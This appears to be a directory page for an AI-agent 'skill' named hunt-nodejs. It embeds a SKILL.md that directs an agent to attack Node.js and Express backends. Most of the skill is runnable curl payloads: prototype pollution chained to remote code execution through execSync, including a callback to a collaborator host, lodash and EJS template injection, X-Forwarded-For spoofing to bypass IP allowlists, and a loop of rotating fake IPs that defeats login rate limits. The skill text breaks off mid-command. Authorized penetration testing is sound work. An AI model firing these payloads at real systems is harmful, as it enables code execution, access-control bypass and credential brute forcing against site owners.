hunt-nodejs
What it does
This skill checks Node.js backends for dangerous coding patterns and misconfigurations. It is for authorized testing of Express, Fastify, NestJS and similar apps.
When to use it
- βWhen an app runs on Node.js or Express and accepts JSON from users.
- βWhen a template engine such as EJS or Pug renders user input.
- βWhen a file server or module path might use user-controlled input.
Skill link
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-nodejs/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur backend runs on Express. Can you check for prototype pollution and template injection in our authorized test?β
5 new skills a week. 1 minute to read.
How it works
The agent looks for signs of Node.js, then sends carefully chosen inputs to object merges, templates and shell calls. It reports confirmed issues only.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
HUNT-NODEJS β Node.js Specific Vulnerabilities
Crown Jewel Targets
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
- Prototype Pollution β RCE β
__proto__injection vialodash.merge/Object.assignβ polluted prototype reacheschild_process.execorvm.runInNewContextsink - Express trust proxy β
app.set('trust proxy', true)without validation β attacker setsX-Forwarded-Forto bypass IP allowlists or rate limits - EJS/Pug SSTI β template engine receives user input β
{{= process.mainModule.require('child_process').execSync('id') }} child_processinjection β user input interpolated into shell command string β OS command injectionrequire()path traversal β attacker-controlled module path β load arbitrary file as JS
Attack Surface Signals
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidate
Phase 1 β Fingerprint
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
Phase 2 β Prototype Pollution Detection
# JSON body injection β test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": "yes"}}'
# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
Phase 3 β Prototype Pollution β RCE Chain
# If pollution is confirmed, attempt to reach dangerous sinks
# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0",
"env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
}
}'
# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: application/json" \
-d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
-H "Content-Type: application/json" \
-d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
# OOB confirmation β check Interactsh for callback
Phase 4 β Express Trust Proxy Abuse
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?
# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"action": "test"}'
# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1"
# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl -s https://$TARGET/api/login \
-H "X-Forwarded-For: 1.2.3.$i" \
-d '{"email":"admin@test.com","password":"wrong"}' \
-o /dev/null -w "$i: %{http_code}\n"
done
Phase 5 β Template Engine SSTI (EJS / Pug / Handlebars)
# EJS SSTI β if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
-H "Content-Type: ap
FAQ
What is prototype pollution?
It is when user input changes the base object that JavaScript objects inherit from, which can alter app behavior.
Why does trust proxy matter?
If it is set without checks, attackers can spoof their IP address to bypass allowlists or rate limits.
Does it check environment data?
Yes. The skill checks whether environment data, which can hold secrets, is exposed.
Details
Original description by the author
Hunt Node.js specific vulnerabilities β Prototype Pollution β RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.
Popularity
- GitHub stars
- 5.4k
- Ranking position
- #14923
- License
- MIT
- Updated
- 11/2/2026
Comments
- β¦
More skills from this repository
apk-redteam-pipeline
5.4kHelps your agent test an Android app for security weaknesses, from finding the APK file and decompiling it to checking for exposed secrets.
bugcrowd-reporting
5.4kHelps your agent write better Bugcrowd vulnerability reports, choosing the right category and answering out-of-scope objections.
cloud-iam-deep
5.4kHelps your agent check what a found cloud credential can access on AWS, Azure or Google Cloud, during an authorized security test.
enterprise-vpn-attack
5.4kHelps your agent check VPN and remote-access appliances from Cisco, Fortinet, Citrix and others for known weaknesses during an authorized test.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.